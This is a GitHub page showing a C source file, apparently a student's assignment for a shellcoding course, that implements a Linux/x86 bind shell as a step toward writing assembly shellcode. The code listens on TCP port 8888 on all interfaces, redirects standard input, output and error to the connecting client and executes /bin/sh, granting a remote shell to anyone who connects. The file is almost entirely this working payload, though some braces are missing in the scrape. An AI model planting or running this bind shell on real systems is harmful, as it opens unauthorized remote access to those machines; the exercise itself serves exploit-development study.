Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
83 lines (67 sloc) 2.97 KB
// Student ID: SLAE-1250
// Student Name: Jonathan "Chops" Crosby
// Assignment 1: Shell Bind TCP (Linux/x86) C variant
// Higher level version of shell bind in
// order to eventually map it to needed assembly
// compile with: gcc shell-bind-tcp.c -o shell-bind-tcp
#include <stdio.h>
#include <unistd.h> /*needed for execve */
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> /* memset */
//used examples from the following URLs to work out the C code
int main(int argc, char *argv[])
//local vars
int serverFileDescriptor;
int clientFileDescriptor;
int portNumber = 8888;
//struct to hold all the info needed to bind
struct sockaddr_in serverAddress;
//clear out the memory in the struct
memset(&serverAddress, '0', sizeof(serverAddress));
//AF_INET is the address family and is always set to AF_INET
serverAddress.sin_family = AF_INET;
//When INADDR_ANY is specified in the bind call, the socket will be bound to all local interfaces.
serverAddress.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddress.sin_port = htons(portNumber);
//create a new TCP socket and associate it to our server File Descriptor
//socket(int domain, int type , int protocol);
serverFileDescriptor = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
//binding to all local interfaces on the specified port
bind(serverFileDescriptor, (struct sockaddr*)&serverAddress, sizeof(serverAddress));
//listening on the server file descriptor with an infinate backlog
listen(serverFileDescriptor, 0);
//accept the incoming connection
clientFileDescriptor = accept(serverFileDescriptor, (struct sockaddr*)NULL, NULL);
//we now need to duplicate the file descriptors from standard
//0, 1 and 2 to our newely connected client
int i; //needed to get around C99 mode
for(i=0; i<=2; i++)
//dup2 will clone file descriptors, so we are cloning
//the standard system file descriptors onto our newly
//connected client
dup2(clientFileDescriptor, i);
//now that all of our file descriptors are duplicated
//we need to execute /bin/sh, which will touch the standard
//file descriptors ... that will then be associated to the
//the connected client
//execute "/bin/sh"
execve("/bin/sh", NULL, NULL);
You can’t perform that action at this time.